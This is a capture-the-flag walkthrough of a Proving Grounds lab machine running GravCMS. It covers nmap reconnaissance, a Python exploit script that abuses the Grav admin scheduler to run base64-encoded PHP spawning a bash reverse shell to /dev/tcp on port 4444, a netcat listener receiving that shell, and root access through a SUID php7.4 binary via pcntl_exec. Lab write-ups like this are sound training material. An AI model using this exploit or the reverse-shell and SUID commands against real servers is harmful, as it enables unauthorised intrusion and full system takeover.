

Proving Grounds Practice 10

Proving Grounds Practice — Vault

Reconnaissance/Enumeration

NMAP

We start by doing a nmap scan. My default is usually:

```
1 sudo nmap -sV -sC -p- -Pn <IP> --open
```

```
$ sudo nmap -sV -sC -p- -Pn 192.168.198.12 --open
[sudo] password for august:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-15 15:00 CST
Nmap scan report for 192.168.198.12
Host is up (0.053s latency).
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp    open  http     Apache httpd 2.4.41
|_ http-title: Index of /
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-ls: Volume /
|   SIZE  TIME                FILENAME
|   -      2021-03-17 17:46  grav-admin/
|_
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org
/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.33 seconds
```

🔍 Flag Explanations:

- `sudo`: Required for scanning all 65535 ports (`-p-`) and some advanced features (like OS detection or raw packet sending).
- `-sV`: Version detection — probes open ports to determine what service and version is running.
- `-sC`: Runs default NSE (Nmap Scripting Engine) scripts, which include useful recon like banner grabbing, SSL cert info, HTTP titles, etc.

- `-p-`: Scans all 65,535 TCP ports (instead of just the top 1000).
- `-Pn`: Skips host discovery (ping scan); treats host as up — useful when ICMP is blocked or filtered.
- `--open`: Show only ports that are open (omit closed/filtered).

✓ What Nmap Actually Shows

HTTP Service Found:

```
1 80/tcp open http Apache httpd 2.4.41
```

- This confirms a **standard web server** is running on **port 80** (Apache 2.4.41 on Ubuntu).

Interesting File/Directory Detected:

```
1 |_http-title: Index of /
2 |  SIZE  TIME      FILENAME
3 |  ----  -
4 |  ...   2021-03-17  grav-admin/
```

- Nmap's default NSE script (`http-enum` or `http-dir`) found that **directory listing is enabled**, and `/grav-admin/` is visible from the root web directory.

```
1 |_http-title: Index of /
2
   This comes from the http-title NSE script.
```

- It fetches the main page (GET /) and reads the tag.
- "Index of /" is the default title shown when directory listing is enabled on Apache — i.e., no index.html, so it lists files/folders.

HTTP

When we attempted to access port 80, it redirected us to the GravCMS web portal.


```

6 # Author: Legend
7
8 #/usr/bin/python3
9
10 import requests
11 import sys
12 import re
13 import base64
14 target= "http://192.168.54.12/grav-admin"
15 #Change base64 encoded value with with below command.
16 #echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
17 payload=b'"/*<?php /**/
18 file_put_contents(\'/tmp/
    rev.sh\',base64_decode(\'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ5LjU0LzQ0NDQgMD4mMQ==\'))';chm-
    od(\'/tmp/rev.sh\',0755);system(\'bash /tmp/rev.sh\');
19 """
20 s = requests.Session()
21 r = s.get(target+"/admin")
22 adminNonce = re.search(r'admin-nonce" value="(.)"',r.text).group(1)
23 if adminNonce != "" :
24     url = target + "/admin/tools/scheduler"
25     data = "admin-nonce="+adminNonce
26     data += "&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/
    php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-
    r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')
    +'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a&data%5
    bcustom_jobs%5d%5bncefs%5d%5boutput%5d=%5d&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_
    jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
27     headers = {'Content-Type': 'application/x-www-form-urlencoded'}
28     r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)

```

```

kali@kali: ~/Downloads x    kali@kali: ~/Downloads x
(kali@kali)-[~/Downloads]
$ python3 49973.py
(kali@kali)-[~/Downloads]
$
nc -l -vnp 4444
listening on [any] 4444 ...
connect to [192.168.49.54] from (UNKNOWN) [192.168.54.12] 33084
bash: cannot set terminal process group (25293): Inappropriate i
bash: no job control in this shell
www-data@gravity:~/html/grav-admin$ whoami
whoami
www-data
www-data@gravity:~/html/grav-admin$ ls -la
ls -la
total 532
drwxrwxr-- 15 www-data www-data 4096 Mar 17 2021 .
drwxrwxr-- 3 www-data www-data 4096 Mar 29 2023 ..
drwxrwxr-- 2 www-data www-data 4096 Mar 29 2023 assets
drwxrwxr-- 2 www-data www-data 4096 Mar 17 2021 backup
drwxrwxr-- 2 www-data www-data 4096 Mar 17 2021 bin
drwxrwxr-- 6 www-data www-data 4096 Jul 21 11:42 cache
-rwxrwxr-- 1 www-data www-data 192507 Mar 17 2021 CHANGELOG.md
-rwxrwxr-- 1 www-data www-data 5476 Mar 17 2021 CODE_OF_CON
-rwxrwxr-- 1 www-data www-data 4647 Mar 17 2021 composer.js
-rwxrwxr-- 1 www-data www-data 233365 Mar 17 2021 composer.loc
-rwxrwxr-- 1 www-data www-data 7098 Mar 17 2021 CONTRIBUTING
drwxrwxr-- 2 www-data www-data 4096 Mar 17 2021 .github
-rwxrwxr-- 1 www-data www-data 3198 Mar 17 2021 .htaccess

```

Privilege Escalation

I discovered an unknown SUID PHP binary on the target machine that caught my attention.

- We can fetch the same details by running the following command:

```
find / -perm -u=s -type f 2>/dev/null
```

```

www-data@gravity:~/html/grav-admin$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core20/1852/usr/bin/chfn
/snap/core20/1852/usr/bin/chsh
/snap/core20/1852/usr/bin/gpasswd
/snap/core20/1852/usr/bin/mount
/snap/core20/1852/usr/bin/newgrp
/snap/core20/1852/usr/bin/passwd
/snap/core20/1852/usr/bin/su
/snap/core20/1852/usr/bin/sudo
/snap/core20/1852/usr/bin/umount
/snap/core20/1852/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1852/usr/lib/openssh/ssh-keysign
/snap/core20/1611/usr/bin/chfn
/snap/core20/1611/usr/bin/chsh
/snap/core20/1611/usr/bin/gpasswd
/snap/core20/1611/usr/bin/mount
/snap/core20/1611/usr/bin/newgrp
/snap/core20/1611/usr/bin/passwd
/snap/core20/1611/usr/bin/su
/snap/core20/1611/usr/bin/sudo
/snap/core20/1611/usr/bin/umount
/snap/core20/1611/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1611/usr/lib/openssh/ssh-keysign
/snap/snapd/18596/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/at
/usr/bin/su
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/php7.4
/usr/bin/gpasswd

```

I checked for a PHP SUID exploit in GTF0Bins and found a suitable exploit

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```

sudo install -m =xs $(which php) .
CMD="/bin/sh"
./php -r "pcntl_exec('/bin/sh', ['-p']);"

```

I executed the exploit on the target machine and successfully escalated my privileges to root.

```
www-data@gravity:~/html/grav-admin$ /usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
</usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
whoami www-data/1
root
#
```